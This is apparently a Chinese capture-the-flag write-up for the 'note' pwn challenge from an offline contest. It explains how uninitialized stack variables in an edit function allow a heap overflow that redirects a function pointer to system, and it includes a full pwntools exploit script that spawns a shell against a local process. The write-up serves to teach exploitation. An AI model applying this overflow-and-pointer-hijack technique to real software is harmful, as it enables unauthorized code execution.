青岛链湾杯--note

废话:第一次打线下赛,确实很慌,该想到的东西都忘了,果然还是得多加练习啊QWQ

基本逻辑

菜单类小游戏:add,edit,show,delete,copy

add:添加结点,此处能够了解结点的结构

add函数

结点的结构

edit函数对结点的content进行编辑,但是这里的v3,v4,v1都没有进行初始化或者置零,将是本题的关键。

edit函数

show函数,展示结点的content以及title。这个print函数是写在bss段的一个地址,通过调试发现写入的就是puts函数地址。

show函数

copy函数,malloc出某结点size大小的块N次,N为用户输入。

copy函数

漏洞利用

所有结点的地址以数组元素的形式存在于bss段中的s1[]中。前面已经说到了,在edit函数里,对存放size,content地址和结点地址的变量v1,v4和v3都没有进行初始化。发现这个问题的契机在于,当第二次edit某个结点content时,随意输入title都会提示“plz input new content”。没有初始化的后果就是,由于这些函数都会共用一块栈空间,比如show中的v3和edit中的v3地址都是ebp-0x120,v4都是ebp-0x118,导致当在show之后,v3和v4的值为刚刚操作过的结点的地址和content地址,而进入到edit函数中后即使输入的title没有匹配,也会执行向v4中写入v1个字节的操作,如果v4和v1不是同一结点的两个参数,那么就会导致溢出。

例如:v1为s1[1]中的size,而v3和v4是s1[0]中的参数,edit就会向v4中写入v1个字节,当v1大于s1[0]的size时,会造成溢出。溢出后就可以修改s1[0]中content的地址,之后再edit时就相当于向被修改的地址中写入内容。这里先把content0地址修改为print的地址,edit时向print的位置写入system@plt,再次show的时候就相当于执行system。

堆上结点和content组织形式

利用脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from pwn import *
context.log_level='debug'

p=process('./note')

def add(size,content,title):
p.recvuntil('input choice:\n')
p.sendline('1')
p.recvuntil('input content size\n')
p.sendline(str(size))
p.recvuntil('input content\n')
p.sendline(content)
p.recvuntil('input note title\n')
p.sendline(title)

def edit(title,content):
p.recvuntil('input choice:\n')
p.sendline('2')
p.recvuntil('plz input title\n')
p.sendline(title)
p.recvuntil('plz input new content\n')
p.sendline(content)

def show(title):
p.recvuntil('input choice:\n')
p.sendline('3')
p.recvuntil('plz input title\n')
p.sendline(title)

def copy(title,num):
p.recvuntil('input choice:\n')
p.sendline('5')
p.recvuntil('plz input title\n')
p.sendline(title)
p.recvuntil('how many times do you want\n')
p.sendline(str(num))

p.recvuntil('plz input your name\n')
p.sendline('')

print_addr = 0x602100
sys_plt = 0x400860
#0
add(128,"0gur0","0")
#1
add(256,"0gur1","1")
#2
add(256,"/bin/sh","/bin/sh")
#edit 1 v1=256
edit("1","new 0gur1")
#show 0 v3=s[0] v4=s[0].content
show("0")
#edit content0's addr
payload ='a'*128#content0
payload +=p64(0)+p64(0x35) #node0 chunk header
payload+=p64(48)+p64(0)+p64(128)+p64(print_addr) #node0
edit("hhh",payload)
#edit 0
edit("0",p64(sys_plt))

#show:print->system
show('/bin/sh')
p.interactive()

PS:一个还没有解决的问题,malloc按理说应该是在堆上进行分配的,但是本题查看分配的地址,都是以0x7f开头的,比较像栈上的地址,而且即使分配了多个块,top chunk的大小都不变…

分配的结点地址

已解决:由于菜单功能是主进程的一个线程,所以该线程的分配区不是main_arena,而是thread_arean。thread_aren的堆是通过mmap分配的。

1
2
3
4
5
6
if ( pthread_create(&newthread, 0LL, (void *(*)(void *))start_routine, 0LL) < 0 )
{
printf("create thread error", 0LL);
exit(-1);
}
pthread_join(newthread, 0LL);

可见malloc返回的地址是thread_arena的堆,而不是main_arena的堆,所以通过heap命令看不到。